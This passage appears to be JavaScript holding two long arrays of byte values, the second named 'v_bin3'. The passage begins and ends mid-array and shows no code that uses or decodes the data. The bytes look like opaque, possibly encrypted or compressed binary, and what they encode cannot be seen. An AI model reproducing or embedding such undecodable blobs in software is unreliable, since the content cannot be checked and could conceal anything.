99,200,196,126,33,124,145,9,229,176,143,48,191,110,234,236,89,84,6,223,229,60,8,15,88,190,36,180,62,129,190,84,83,169,138,57,214,24,77,118,45,42,156,194,222,175,186,125,146,29,115,157,185,219,194,223,155,163,33,233,116,175,23,37,214,179,93,13,238,162,230,232,40,253,77,2,162,248,3,194,39,106,130,154,66,47,149,243,253,105,156,228,149,94,163,172,23,50,190,250,195,254,204,191,52,248,188,251,184,210,224,177,101,167,238,53,210,99,126,61,164,118,203,122,14,106,174,131,156,147,47,118,248,225,57,156,97,187,39,11,109,221,202,218,101,194,136,48,177,7,81,94,233,83,134,107,254,67,45,61,105,182,163,2,160,239,43,227,138,170,57,171,104,125,76,197,171,118,141,180,230,196,39,43,101,190,202,231,19,61,229,1,85,28,154,229,87,1,146,0,132,139,54,223,185,73,138,170,76,252,65,70,111,216,243,78,2,202,214,78,54,57,199,173,221,85,93,96,216,116,28,178,237,23,19,122,248,98,253,199,222,70,33,138,225,169,21,180,133,60,180,55,242,145,49,116,87,11,12,226,26,208,128,249,232,253,157,38,140,251,176,118,165,93,222,194,36,204,108,162,17,138,93,188,141,211,123,147,235,199,195,233,51,69,7,169,202,228,146,238,82,181,74,81,93,161,120,39,196,136,137,234,90,206,30,157,95,58,212,86,17,168,215,154,122,118,209,81,33,149,191,84,27,232,176,207,161,53,124,242,190,60,37,44,20,169,196,222,80,1,8,240,77,74,207,29,242,61,216,197,251,175,253,175,146,251,32,47,98,56,108,175,172,159,107,14,63,168,183,159,154,65,43,69,145,173,240,64,23,23,81,190,3,9,97,173,2,30,82,113,50,235,75,11,173,4,252,239,246,175,113,149,222,208,107,192,178,83,107,82,209,145,203,97,153,64,37,224,179,129,17,14,231,73,140,178,14,213,239,196,114,86,186,208,185,214,68,76,230,62,54,24,214,83,76,19,78,223,147,246,69,167,196,59,212,204,101,23,137,151,226,23,229,75,170,220,3,38,160,100,6,14,123,217,206,83,251,196,181,96,188,53,46,147,166,218,98,144,87,202,190,192,178,125,0,189,9,78,239,67,90,74,23,168,143,32,129,111,180,111,205,212,61,100,196,246,134,186,92,109,204,181,184,251,116,176,138,103,103,167,57,66,82,170,28,33,169,196,251,192,245,85,234,79,211,145,193,227,63,150,225,57,25,113,193,6,84,233,245,164,107,218,235,253,97,116,210,10,38,20,25,151,78,200,76,11,176,64,56,141,116,15,111,220,164,5,149,148,0,65,212,184,61,53,8,101,94,100,207,255,144,81,113,58,148,173,208,187,161,202,250,201,36,42,69,63,121,136,13,33,99,83,21,35,212,197,202,152,246,172,172,43,48,85,164,59,101,65,162,35,101,249,130,187,62,52,223,255,42,100,170,137,54,144,30,88,2,220,127,14,10,227,116,102,192,217,166,212,83,112,30,247,51,156,212,151,13,70,77,52,84,237,65,245,23,153,82,192,31,218,134,166,66,108,88,175,129,72,249,21,95,111,83,130,121,212,144,15,67,54,32,105,216,224,75,30,185,41,231,8,65,115,138,87,104,146,102,116,7,34,110,112,198,62,178,109,112,119,123,67,39,198,103,147,64,75,108,238,119,148,12,59,33,157,153,92,70,111,207,193,187,213,84,148,203,214,49,201,243,20,178,31,242,45,185,145,168,206,80,163,57,53,199,23,108,20,19,11,244,231,133,158,115,16,180,139,245,42,176,147,163,243,101,101,137,110,155,190,32,56,87,39,153,249,167,161,37,150,161,109,119,188,242,99,27,255,109,74,163,30,8,179,155,25,66,90,31,142,123,61,122,203,17,108,37,49,86,21,198,144,97,209,206,214,0,130,149,247,146,188,207,238,54,80,99,13,203,18,178,134,243,97,248,232,200,26,72,55,18,253,21,81,67,232,126,134,57,146,124,174,167,63,246,134,173,83,237,99,25,123,159,9,247,69,78,132,14,36,119,125,163,134,176,197,230,140,221,22,32,117,157,60,227,217,3,243,63,104,243,65,61,242,255,160,109,113,92,47,42,119,192,147,150,254,28,146,252,73,62,101,150,244,74,117,132,188,177,74,141,125,119,240,230,162,72,1,9,17,218,236,149,168,251,74,249,231,124,178,77,117,204,1,122,80,168,9,252,141,166,67,125,128,48,113,110,13,112,97,108,145,155,183,3,190,185,137,109,6,13,182,2,32,134,73,77,111,29,93,67,171,166,103,217,211,190,26,26,16,213,182,79,69,9,163,178,225,101,169,197,103,0,111,82,57,244,25,254,91,188,92,176,181,133,253,131,12,112,90,130,247,155,194,239,127,159,215,149,225,32,243,254,2,26,58,123,32,120,127,15,165,59,146,214,140,229,46,149,135,233,226,197,226,46,252,122,144,134,89,66,6,191,114,164,46,200,4,246,30,48,114,196,10,217,215,45,199,36,157,200,134,22,48,23,237,86,231,2,63,197,182,172,223,177,187,75,230,129,254,228,22,91,225,147,222,18,188,16,49,225,6,237,225,228,249,224,51,10,229,246,142,96,129,53,202,4,33,31,19,250,8,101,205,155,218,148,111,53,56,194,59,4,150,62,126,4,50,77,151,48,31,79,130,229,96,30,252,246,155,233,17,83,170,82,156,72,248,46,253,145,100,86,73,168,185,47,117,107,255,131,196,82,105,177,169,65,211,178,200,39,72,171,243,163,36,25,70,128,239,75,171,121,179,55,108,53,45,163,17,127,51,106,144,179,30,232,196,246,198,78,89,246,212,111,20,46,72,165,159,124,60,166,133,133,134,120,56,75,177,247,45,183,125,1,119,202,135,31,111,125,123,22,1,159,147,19,237,181,91,162,90,158,95,21,37,34,184,66,54,166,229,50,7,194,88,119,251,245,7,145,66,53,96,134,218,24,131,34,170,224,41,47,178,155,4,198,108,182,159,95,232,2,113,89,90,15,155,196,130,255,54,22,21,131,88,6,131,108,225,60,54,14,14,124,17,61,241,151,72,198,86,177,90,114,28,215,73,167,24,238,24,226,155,12,161,198,218,138,148,119,93,227,56,132,19,228,42,35,139,15,180,158,150,158,170,237,13,232,160,231,45,13,128,237,69,116,67,225,223,164,248,146,122,45,235,188,37,204,109,85,161,216,90,113,179,231,86,66,35,43,226,145,173,88,101,162,94,200,165,95,176,180,219,217,70,223,217,103,36,125,213,223,26,244,95,181,239,91,36,216,223,20,1,191,170,63,172,121,47,197,162,28,36,200,126,30,128,28,92,75,35,39,57,246,137,196,239,90,235,96,0,93,92,25,201,192,23,233,186,95,195,92,162,31,70,243,144,175,35,172,248,209,110,156,90,91,138,141,47,19,43,151,35,98,94,19,107,167,223,209,237,142,203,250,107,112,203,44,206,177,136,155,175,54,73,111,110,63,137,209,121,159,114,165,231,229,103,50,164,68,190,245,230,120,220,194,13,230,160,248,140,253,160,20,30,183,154,130,119,94,105,110,49,44,38,148,228,13,169,12,205,198,161,171,151,137,1,180,249,87,236,176,14,41,57,93,200,49,175,49,186,32,219,106,102,51,145,187,53,96,186,65,218,186,150,253,91,2,134,201,96,115,210,48,92,232,190,130,42,212,91,6,88,199,133,59,160,253,231,103,186,200,151,149,117,46,192,88,77,88,150,75,164,107,142,87,122,124,201,122,123,92,147,69,134,75,215,62,183,109,212,72,139,88,39,232,102,120,250,158,29,90,246,121,119,122,62,242,143,18,162,121,61,107,180,223,33,191,233,195,25,103,35,217,51,5,140,248,24,248,62,161,246,213,99,40,1,23,88,219,153,179,39,12,0,11,119,182,86,21,74,179,99,95,43,227,6,90,195,88,122,162,172,158,158,164,95,137,82,181,129,194,193,241,63,148,104,14,65,124,6,35,209,215,180,34,13,0,206,208,82,96,106,121,41,220,156,235,54,171,167,103,145,49,18,245,89,220,213,146,195,123,107,140,205,33,163,47,130,164,179,114,77,164,195,168,196,172,134,206,86,39,170,246,239,69,211,217,87,53,240,65,135,244,60,9,51,147,225,166,87,61,172,60,99,58,88,192,62,131,63,47,29,212,109,116,115,156,29,106,3,255,84,149,95,129,30,221,177,32,162,153,217,24,72,144,117,35,156,1,37,39,199,218,199,56,185,159,234,103,10,63,34,252,118,97,103,228,36,79,54,192,127,254,93,141,47,88,250,6,98,102,7,138,220,1,226,225,209,204,121,164,229,53,213,65,183,100,87,10,174,241,239,181,38,247,144,250,5,32,80,165,233,110,57,133,56,39,153,83,175,218,128,224,174,195,214,62,58,187,10,171,134,98,101,78,86,233,179,184,132,255,159,202,51,250,96,211,133,36,213,157,25,53,227,81,4,69,132,237,69,161,179,19,81,123,176,15,160,34,190,187,139,67,217,82,230,147,92,215,92,101,211,51,207,0,121,211,132,153,79,14,43,75,65,99,63,57,7,71,46,64,62,203,119,195,42,15,243,162,96,72,39,81,28,240,28,141,40,111,111,227,153,214,57,134,205,247,8,76,101,221,84,15,100,98,178,81,131,87,23,7,157,75,152,210,103,242,102,69,93,39,73,88,89,88,194,12,33,193,111,244,239,160,86,245,1,154,236,108,255,38,80,234,246,102,167,177,93,240,95,44,87,1,197,154,97,81,74,154,143,220,131,159,102,188,223,128,147,106,123,48,234,243,138,176,132,81,221,105,225,202,60,235,173,244,45,131,51,245,147,99,48,64,113,37,175,136,15,37,255,142,187,78,24,161,235,191,228,146,204,16,188,196,91,252,210,146,249,156,2,143,170,165,61,249,187,133,241,98,28,144,119,124,36,143,1,47,93,88,49,109,44,34,218,174,215,252,191,190,52,184,128,209,242,138,175,53,126,186,115,98,230,166,244,10,240,14,146,7,181,118,69,178,250,191,50,177,31,177,48,121,175,32,22,8,143,94,121,208,145,174,10,240,66,185,124,195,193,172,147,45,213,3,23,165,116,178,62,20,42,113,109,56,41,13,252,6,41,151,38,83,26,136,74,135,80,91,246,187,132,209,25,28,125,129,26,132,70,241,249,227,77,253,108,192,235,89,51,77,188,156,16,146,69,120,86,229,101,112,61,41,115,200,237,179,246,24,18,90,223,16,205,73,239,132,87,244,254,136,168,32,203,40,140,125,60,153,191,176,252,13,242,139,87,21,154,169,155,209,106,229,48,49,190,203,41,156,66,4,193,58,44,152,181,225,255,93,43,227,80,113,13,165,62,168,184,34,146,136,3,115,253,221,105,149,215,19,206,120,154,211,228,137,105,242,128,137,53,178,112,43,2,58,59,52,48,215,24,18,29,248,105,122,237,47,114,1,81,107,244,171,228,98,187,18,100,241,238,104,250,6,236,137,162,46,193,8,59,159,239,74,242,110,229,237,97,59,95,219,192,197,56,7,239,150,244,36,252,137,227,219,204,5,164,138,138,184,97,8,19,194,131,167,11,228,13,91,12,182,193,127,226,31,39,180,36,215,200,179,110,185,239,101,223,50,39,234,232,68,143,188,140,55,66,161,105,21,239,111,144,83,7,73,17,49,15,231,154,165,121,180,163,171,44,228,137,133,85,96,11,227,113,162,158,148,124,121,149,142,14,5,201,172,8,57,157,119,105,26,144,13,149,232,194,61,190,72,151,237,139,187,161,92,129,37,38,25,96,147,216,198,84,187,65,250,217,122,169,152,182,176,229,107,58,200,35,164,232,157,220,46,41,247,19,184,196,75,44,18,139,23,153,42,158,159,95,250,46,235,245,198,186,188,153,96,105,89,200,232,245,145,248,243,178,78,7,74,140,188,91,27,126,203,118,82,130,245,140,176,229,146,108,234,93,19,96,91,112,59,156,186,113,38,166,175,75,190,207,237,116,242,61,232,220,205,202,85,141,211,40,245,32,166,59,73,172,49,11,108,58,66,199,69,208,227,165,2,224,202,44,11,27,22,126,143,212,175,56,60,105,55,84,3,121,31,213,185,17,125,25,162,243,21,190,192,60,65,246,197,14,240,14,173,169,37,11,238,80,8,233,32,58,99,126,43,148,125,200,51,220,127,81,16,223,219,192,30,202,85,237,208,83,146,40,16,64,186,180,239,231,236,44,131,171,116,65,114,27,176,254,122,216,170,120,218,197,236,8,35,19,20,163,111,242,173,38,33,131,77,55,150,11,41,38,202,180,161,104,252,153,115,242,173,85,222,22,136,208,148,64,110,131,44,191,244,38,130,98,71,26,29,94,234,229,212,240,35,147,82,204,110,16,75,123,61,74,98,47,52,75,175,45,135,120,172,94,209,179,28,255,203,138,161,229,17,73,186,133,211,225,205,126,203,85,229,66,152,84,218,12,249,69,159,250,63,28,95,57,34,205,138,90,230,147,155,188,170,227,50,85,47,237,231,203,1,156,116,87,229,31,42,202,157,162,237,230,248,45,45,98,153,106,244,120,101,254,139,157,135,188,69,74,172,19,121,62,240,93,156,248,247,13,216,67,92,151,144,169,96,204,3,132,237,17,206,227,25,209,144,230,217,142,154,231,100,232,180,202,126,5,87,174,161,130,111,65,90,252,201,179,12,195,245,94,173,25,46,178,253,226,96,46,29,146,43,165,194,82,46,96,33,180,123,93,143,231,111,246,185,206,220,122,62,43,53,15,137,241,80,7,204,205,241,118,37,60,113,138,46,171,170,129,25,60,70,111,168,211,200,16,68,107,78,16,174,82,176,90,254,94,111,55,59,111,230,57,241,222,19,236,17,230,54,46,23,111,36,160,153,171,170,154,73,211,99,146,174,219,187,130,121,244,158,195,220,53,239,51,16,27,33,92,210,229,119,6,100,101,35,3,245,168,209,202,47,219,35,230,142,137,28,38,50,118,6,243,247,217,94,190,55,239,160,79,71,195,245,52,172,44,182,223,182,211,75,24,132,166,214,87,146,138,113,90,13,149,157,253,56,117,188,41,127,87,67,116,31,30,239,123,80,247,194,182,190,69,120];
var v_bin3 = [211,37,236,210,56,71,106,13,82,80,60,18,49,226,170,238,80,155,67,166,87,160,219,26,76,217,46,131,180,232,69,80,41,57,23,57,88,206,154,15,167,99,38,174,237,106,236,116,63,6,235,150,15,172,85,56,183,199,6,234,235,119,171,16,241,127,147,177,75,17,171,179,183,241,251,168,43,31,206,96,94,41,196,73,54,122,155,60,54,176,244,50,254,236,118,179,116,204,88,46,148,255,24,254,135,4,75,71,205,143,157,134,42,213,158,217,232,47,179,210,73,212,154,68,70,99,76,102,119,99,50,65,207,82,214,56,143,215,181,69,166,18,139,116,43,149,217,123,163,174,141,8,7,46,166,197,169,61,193,229,90,152,44,194,75,192,8,130,47,130,51,76,85,155,107,22,128,41,29,92,61,101,252,142,131,147,232,246,4,101,174,146,139,77,68,65,75,30,129,190,215,32,86,65,7,82,238,5,72,187,146,47,119,207,217,144,236,155,93,147,189,63,124,107,255,158,195,45,109,209,180,57,158,207,0,19,242,10,202,77,47,61,63,107,3,102,98,250,255,33,109,3,148,70,48,249,174,86,15,24,163,45,139,0,105,71,106,5,206,175,12,173,125,43,73,66,101,41,251,63,44,40,224,62,200,18,112,109,38,248,217,11,240,123,209,15,101,163,60,78,147,230,160,64,13,134,183,192,134,118,226,44,12,28,244,130,166,230,217,118,80,42,189,94,11,6,107,70,73,209,189,87,250,76,113,78,176,182,151,82,146,197,165,120,59,84,149,149,152,217,251,34,54,42,151,154,94,16,39,33,90,152,129,210,179,204,25,240,158,208,229,66,105,127,142,51,252,232,3,95,43,167,24,19,118,112,250,159,127,23,150,55,124,215,99,30,228,221,36,89,51,190,13,3,43,156,100,124,174,78,12,66,223,44,82,164,151,190,131,45,182,159,127,233,47,244,163,226,199,28,154,79,27,233,31,247,97,119,92,2,15,55,211,40,83,129,233,247,183,128,172,6,104,247,200,100,44,168,186,200,223,192,142,244,27,157,171,154,160,251,167,72,144,185,187,255,174,204,33,178,61,113,76,75,53,33,219,19,245,130,53,223,65,18,20,130,5,25,140,242,58,221,128,89,141,99,50,130,187,49,206,183,94,202,134,118,1,120,19,128,92,131,6,71,247,245,56,206,166,198,99,131,255,28,237,40,135,76,212,210,133,232,11,84,81,243,35,85,179,99,173,233,109,57,153,254,29,210,181,32,151,244,24,81,197,226,63,39,200,236,192,181,63,118,205,95,205,229,31,180,249,128,65,243,245,31,190,107,18,187,29,134,28,44,0,36,81,34,243,65,252,122,72,97,195,102,80,166,175,128,25,246,98,39,145,152,207,229,126,30,11,121,144,9,205,130,140,205,220,5,226,38,236,185,65,218,68,28,60,228,39,147,149,27,232,166,232,156,158,120,197,235,87,35,97,176,24,178,28,9,144,86,206,181,170,176,88,137,135,189,126,49,190,18,75,59,190,74,56,197,106,252,193,196,177,217,8,161,103,49,94,254,139,241,17,125,16,197,199,140,63,91,44,214,4,176,181,176,172,80,9,156,79,231,213,57,194,198,150,233,131,135,10,78,5,233,114,46,252,49,247,57,118,253,41,123,250,101,143,246,139,56,98,77,191,92,199,141,194,34,230,162,199,94,204,55,90,25,17,219,133,36,140,28,134,206,193,221,100,81,119,37,0,13,9,53,18,247,9,4,193,50,91,57,214,126,36,48,230,87,203,137,186,128,55,220,96,131,119,193,56,166,121,42,166,26,183,216,76,107,249,119,68,241,37,132,191,193,166,57,163,237,243,125,13,216,126,21,127,169,112,209,148,239,126,234,104,54,88,6,135,191,63,205,35,133,254,210,182,79,33,215,112,50,13,225,25,18,21,113,27,58,240,112,192,238,18,82,255,112,75,20,236,246,184,60,141,172,161,67,139,205,52,240,136,165,192,153,214,143,101,131,169,8,232,75,212,9,146,197,253,155,69,129,130,245,33,134,4,211,172,233,212,126,7,48,196,148,48,225,171,131,25,69,87,133,87,143,255,145,168,231,213,231,7,145,201,75,210,153,76,29,141,149,63,208,216,235,94,22,116,132,246,196,15,193,74,185,215,74,223,247,69,158,108,185,5,200,140,66,240,206,30,165,13,30,77,197,32,12,54,251,133,207,244,173,244,23,184,69,232,40,230,141,81,170,218,106,246,100,252,151,48,155,16,107,18,205,231,16,182,242,140,179,62,41,112,169,159,161,95,228,133,88,173,68,90,195,26,198,125,82,51,53,253,148,142,14,146,184,155,26,149,54,190,3,109,75,105,159,169,28,88,221,3,203,63,44,244,82,1,15,98,98,247,117,225,51,192,252,16,122,7,217,185,104,243,144,115,176,209,174,116,199,21,249,170,51,168,205,56,228,193,123,25,74,236,20,53,68,180,203,171,218,191,190,77,245,44,56,221,14,178,7,148,75,142,215,161,255,34,114,163,37,255,35,32,115,254,116,42,136,105,185,127,97,250,236,101,222,45,58,141,227,177,231,159,247,6,227,95,41,240,237,248,71,159,188,203,226,229,58,239,80,169,16,165,190,206,174,251,51,219,217,27,102,236,249,67,155,89,84,149,216,184,195,75,251,102,120,227,109,60,0,225,129,192,213,29,103,253,255,151,179,255,68,131,57,19,104,152,157,52,177,61,178,218,50,42,78,31,190,153,115,253,63,117,142,68,205,86,170,224,200,229,116,216,126,236,206,136,51,248,110,239,226,25,243,200,167,187,15,61,6,151,56,163,75,146,118,191,3,115,97,179,247,81,77,149,185,117,162,65,200,151,125,240,222,166,58,76,32,199,113,21,150,163,33,151,24,133,80,25,156,51,125,43,169,62,34,3,56,52,53,176,138,8,17,91,187,41,104,161,248,29,147,67,69,146,15,181,173,40,212,99,29,244,45,71,8,202,248,210,62,198,242,183,57,128,226,186,54,42,147,33,159,182,64,188,216,148,232,213,8,141,177,6,252,51,250,235,231,184,134,175,39,235,10,253,213,4,189,56,148,209,27,229,213,225,61,117,180,193,245,140,35,79,92,215,12,220,17,166,57,8,66,173,216,194,216,161,151,164,136,90,183,183,79,185,6,236,138,223,92,165,34,35,210,5,215,92,7,25,15,89,182,158,219,150,122,71,47,27,93,159,91,109,89,7,251,214,227,189,142,176,15,155,60,139,168,9,255,17,234,137,84,130,53,46,99,178,59,66,180,102,66,87,59,25,46,70,204,238,136,123,165,240,236,183,50,15,157,192,194,177,33,46,215,116,81,202,142,175,176,11,213,217,179,129,231,14,64,245,225,35,140,101,68,6,129,118,123,165,31,125,113,209,40,202,126,151,94,53,117,87,255,53,49,253,191,79,210,98,15,190,156,150,219,27,146,187,145,138,248,19,18,63,159,6,48,251,91,147,142,87,179,249,187,8,36,199,41,157,94,56,134,223,18,139,79,204,0,76,247,100,209,242,13,8,17,27,76,51,133,54,14,97,190,62,39,73,162,166,231,70,140,229,127,34,148,120,194,223,153,92,240,183,106,135,24,157,84,228,175,188,171,224,28,12,111,123,42,77,169,103,98,169,194,73,229,19,149,169,140,125,67,30,138,102,190,135,69,86,166,55,121,149,160,8,37,88,234,168,230,23,134,159,228,238,147,18,241,109,59,221,151,133,42,234,77,91,141,203,197,46,21,41,189,147,44,15,18,250,226,57,65,102,209,76,47,198,199,11,150,32,9,155,232,218,212,153,61,209,58,223,157,255,49,170,197,173,163,102,197,249,9,200,20,188,200,54,116,38,164,91,87,82,15,216,201,98,189,187,239,77,173,55,153,40,136,56,197,111,0,213,21,136,167,13,93,140,207,109,90,192,84,111,104,135,88,148,54,161,245,136,155,132,159,217,111,46,243,38,184,149,151,86,0,220,76,85,13,15,201,162,188,124,102,132,164,125,228,221,30,144,211,255,160,206,206,198,162,149,215,244,73,87,171,162,44,220,232,79,11,251,82,71,5,255,13,39,3,31,160,129,226,70,13,34,113,220,141,193,230,23,96,124,137,209,51,51,57,112,43,76,58,117,187,250,42,132,66,227,129,191,91,247,171,139,184,227,158,159,11,133,116,1,223,61,15,52,139,102,186,71,22,135,95,245,119,121,21,229,7,218,85,30,84,58,102,235,219,129,69,176,151,86,126,49,90,226,225,144,97,66,181,147,98,38,229,197,153,101,185,178,227,226,236,166,81,242,46,242,80,174,92,46,1,140,100,70,214,249,27,184,153,8,21,50,19,119,229,91,71,35,242,105,64,64,113,190,88,254,73,221,229,163,54,10,202,24,126,169,171,74,97,222,160,79,180,230,157,5,236,237,247,150,249,161,183,28,58,227,29,180,70,188,55,233,184,198,232,89,72,195,188,5,25,145,124,54,142,254,111,77,218,76,113,216,18,106,231,140,24,148,77,188,44,102,112,79,120,15,137,131,63,23,220,122,134,219,138,227,59,228,96,5,163,144,23,37,46,3,100,146,72,59,168,177,253,183,223,156,221,83,101,114,130,37,43,81,67,178,26,201,139,255,28,254,5,119,214,97,170,88,34,104,128,3,113,235,208,235,208,23,133,43,57,26,18,70,26,211,127,18,187,19,62,204,78,238,171,251,111,86,147,109,239,224,251,149,48,29,198,118,24,190,5,19,75,61,49,175,154,75,212,222,53,234,16,14,192,53,173,186,23,73,190,67,241,209,245,80,247,114,147,129,72,117,116,93,95,22,79,203,212,179,104,129,255,152,240,240,153,241,28,47,75,27,89,96,235,175,233,192,72,103,73,180,35,128,156,166,131,10,163,121,81,142,191,0,2,117,36,211,56,214,225,166,186,18,241,209,224,43,139,241,158,214,201,158,151,21,121,253,8,85,67,23,159,16,239,197,82,98,23,175,91,166,248,164,92,61,212,91,135,109,176,187,91,160,184,32,88,14,217,172,70,249,241,10,143,68,214,33,57,34,43,131,244,230,120,64,130,180,28,241,29,254,49,21,238,30,53,106,192,139,81,196,247,137,142,110,64,233,44,200,178,211,92,8,100,38,185,24,129,164,125,65,39,174,242,204,50,18,39,205,76,157,34,136,24,134,122,102,132,158,44,238,161,160,186,119,149,47,133,112,60,127,174,210,4,224,156,23,132,140,51,66,167,178,52,73,233,40,136,231,73,36,82,213,81,134,230,123,194,40,186,28,91,53,17,103,179,122,51,10,76,102,156,26,20,2,157,208,144,228,145,62,118,81,18,16,130,10,225,142,212,92,195,64,168,71,132,5,74,123,8,187,103,132,102,232,103,139,39,1,183,195,47,210,123,132,18,164,50,224,146,142,218,11,164,101,90,138,141,245,162,143,57,171,228,21,235,145,229,29,110,238,207,83,152,65,82,41,180,84,193,239,6,105,45,16,78,70,201,143,165,186,131,120,212,128,135,44,242,230,39,242,110,22,112,192,142,89,224,207,52,46,22,156,216,35,212,119,173,161,202,78,156,235,18,228,53,7,34,11,130,180,206,69,141,254,185,77,247,90,253,43,247,22,73,217,53,156,251,125,53,48,139,114,83,202,17,86,99,34,156,104,235,19,63,128,41,60,81,160,89,44,237,69,181,87,163,131,187,226,205,206,114,107,109,218,10,220,171,60,104,166,104,212,55,147,72,106,161,236,16,73,112,167,108,37,102,96,180,78,233,127,221,56,187,5,119,7,103,39,1,227,232,2,160,109,214,98,62,43,167,30,115,57,80,250,150,30,35,131,161,59,228,91,144,231,64,247,135,125,62,32,68,37,26,240,57,145,62,130,225,204,93,97,166,29,9,111,42,39,19,98,161,161,90,72,75,137,104,237,167,28,226,203,61,24,24,44,43,251,170,104,197,174,83,93,199,57,69,96,174,85,98,91,173,247,225,142,178,67,71,44,221,250,42,111,50,157,244,203,202,56,97,57,105,166,245,148,64,218,210,47,123,126,220,206,24,206,15,111,190,107,34,32,191,19,118,177,108,192,118,66,158,119,87,230,34,210,144,211,103,228,11,167,0,165,99,34,60,77,160,10,193,0,18,198,225,222,154,29,142,197,223,56,22,235,72,109,213,116,11,151,117,42,8,211,179,56,88,43,44,134,160,180,124,163,189,218,192,116,206,216,61,95,143,227,227,72,165,152,98,42,54,132,107,25,139,150,164,62,234,250,67,130,230,163,118,135,51,55,238,158,236,206,188,170,233,138,141,250,4,130,235,129,105,113,175,211,132,20,106,225,217,145,25,84,73,163,148,155,171,231,131,177,101,46,146,195,90,193,102,13,40,27,129,218,162,12,75,175,203,130,44,18,220,121,134,42,130,0,231,207,169,58,168,97,115,86,142,26,52,201,64,114,110,130,165,234,70,33,139,105,109,249,84,95,20,45,10,5,108,133,202,7,115,252,31,38,194,83,79,166,149,58,68,2,7,156,168,244,15,78,147,21,32,152,105,178,178,241,198,101,199,204,56,228,223,159,84,77,187,218,237,95,233,107,213,159,71,215,162,245,224,243,212,55,23,248,140,247,249,17,237,9,210,29,220,0,14,56,114,36,236,196,113,154,66,24,109,54,103,177,173,24,107,31,38,191,218,110,2,184,231,196,248,19,66,224,165,206,237,31,132,89,11,68,184,96,162,254,70,223,197,93,59,152,239,105,5,241,34,188,251,238,136,95,58,246,251,230,209,198,70,68,157,165,216,227,152,36,98,224,205,195,97,225,42,184,169,51,153,7,220,49,205,196,194,61,99,136,160,82,165,209,30,168,245,46,208,252,29,141,108,8,208,29,79,58,90,207,198,93,224,17,222,21,162,156,149,109,7,98,99,239,250,142,181,61,127,44,154,154,217,162,132,192,31,165,9,24,179,65,245,116,243,169,78,3,212,54,116,111,118,183,124,254,9,32,97,189,154,84,245,240,176,185,165,44,95,136,89,127,40,44,162,10,158,113,250,75,143,70,26,133,27,102,45,73,136,225,3,32,206,185,199,244,26,43,62,33,28,83,222,68,72,95,166,68,69,74,166,242,212,84,123,102,7,227,204,196,208,182,189,166,91,100,238,230,113,43,53,245,29,104,192,64,0,185,152,141,211,124,32,51,52,162,202,184,165,134,24,66,241,60,68,138,223,33,211,177,27,144,192,146,128,171,110,54,91,252,165,68,30,110,138,223,2,133,240,4,0,240,112,194,124,154,129,166,242,83,165,66,132,174,162,105,220,88,3,159,145,100,234,134,9,169,113,252,252,78,191,14,194,245,201,20,96,141,19,29,32,147,67,40,191,41,37,234,249,79,184,141,82,223,226,56,112,100,215,181,121,165,227,42,129,117,124,252,249,97,245,238,81,121,178,84,190,36,68,154,197,191,28,9,133,215,86,225,195,159,32,134,238,81,158,80,90,121,65,174,15,23,216,117,93,251,225,91,68,0,206,173,159,241,147,94,90,175,233,0,11,241,199,16,251,8,152,18,150,62,2,189,222,12,219,227,111,171,136,136,193,135,224,234,74,157,90,30,197,67,113,2,199,153,109,135,85,138,153,155,53,214,65,17,95,232,251,88,201,70,41,172,148,192,241,95,143,149,201,22,222,126,32,48,221,97,42,110,123,228,230,245,44,176,217,127,181,228,185,10,22,56,220,186,27,30,87,36,205,67,184,82,51,82,209,61,47,126,9,106,170,61,190,190,66,189,148,165,145,205,83,253,170,71,247,140,230,30,106,105,18,216,200,47,40,180,179,126,198,208,78,130,244,22,175,216,146,64,122,245,230,118,87,132,74,97,180,144,229,2,208,3,239,233,156,205,127,127,124,183,235,161,138,246,229,9,69,200,232,172,137,29,12,84,201,34,72,169,173,18,134,107,121,193,54,154,12,97,197,166,1,110,140,202,229,0,85,244,45,90,32,138,251,160,29,58,226,176,114,209,98,141,210,52,15,169,155,150,104,35,236,166,25,21,107,61,185,88,13,186,234,31,1,95,4,209,191,78,188,20,37,101,134,148,95,19,191,155,137,60,43,53,196,45,162,11,131,156,123,127,208,223,215,183,232,32,214,96,100,177,93,74,81,67,211,125,209,239,176,78,107,158,151,248,47,198,174,72,18,174,245,162,236,25,209,208,42,117,204,130,193,44,138,109,132,119,90,58,243,251,29,9,99,57,165,99,74,147,14,193,222,195,161,4,231,147,169,202,62,116,227,233,253,250,238,161,53,35,195,19,75,227,3,238,14,19,129,110,77,76,161,252,39,196,200,181,236,166,110,22,60,25,30,209,17,235,50,144,224,13,207,182,140,105,149,248,95,61,118,210,129,118,32,41,173,244,236,148,140,189,105,36,37,59,115,218,104,157,252,187,112,12,232,249,49,89,33,119,40,244,62,135,116,0,177,231,168,251,97,153,207,109,76,162,130,53,89,254,72,167,201,181,30,62,6,167,9,29,78,133,161,126,249,12,111,45,141,15,139,106,234,248,239,137,255,124,69,80,118,31,89,37,45,23,26,245,17,220,42,232,133,109,218,3,47,22,166,71,118,229,193,154,162,117,77,233,98,200,79,129,163,128,187,199,211,225,32,2,205,70,120,14,240,83,53,190,42,20,113,75,49,109,146,242,56,178,169,151,11,29,44,137,196,136,206,92,237,172,238,97,64,171,142,89,12,129,70,134,101,130,254,225,197,200,195,145,219,111,118,174,27,54,116,127,75,236,43,116,102,177,79,209,142,23,79,151,32,158,87,71,80,96,233,118,89,143,243,225,91,209,178,172,52,40,164,183,37,16,5,131,248,62,45,149,76,251,136,190,40,125,26,138,87,33,74,1,202,241,61,184,246,154,80,137,230,229,227,250,52,30,193,214,16,225,113,169,133,25,223,117,19,69,41,215,113,194,221,76,114,191,254,1,130,212,46,36,151,228,174,55,144,251,216,213,193,202,187,141,82,251,89,179,66,191,244,210,111,8,17,150,28,170,19,199,238,199,139,87,42,228,110,171,28,7,253,29,6,126,33,172,163,93,33,172,97,242,28,109,66,44,195,222,224,21,135,229,246,13,67,44,241,223,136,134,68,248,110,220,158,205,67,212,36,39,93,250,115,229,177,245,1,137,230,67,218,138,63,32,54,6,252,26,75,138,10,229,102,16,28,19,116,123,41,82,116,250,211,154,118,133,89,149,126,253,2,171,93,126,52,146,16,60,141,229,199,42,213,121,46,91,106,250,119,139,147,129,215,192,31,149,196,137,208,253,28,121,241,196,181,146,253,109,237,155,229,115,139,101,34,97,134,201,203,246,197,110,245,36,192,11,56,197,172,44,188,254,190,157,24,42,219,32,204,167,100,2,103,18,75,38,75,212,1,77,52,160,41,244,49,84,163,155,228,178,147,158,15,204,85,248,247,27,140,55,217,100,216,170,100,34,42,44,177,15,189,52,68,3,132,110,122,166,243,135,80,127,254,206,40,244,3,231,143,15,114,133,64,163,156,14,247,198,186,3,114,209,76,96,224,33,148,133,77,41,239,75,171,33,13,44,232,205,110,8,171,179,235,244,102,125,122,71,5,211,35,122,176,84,133,217,206,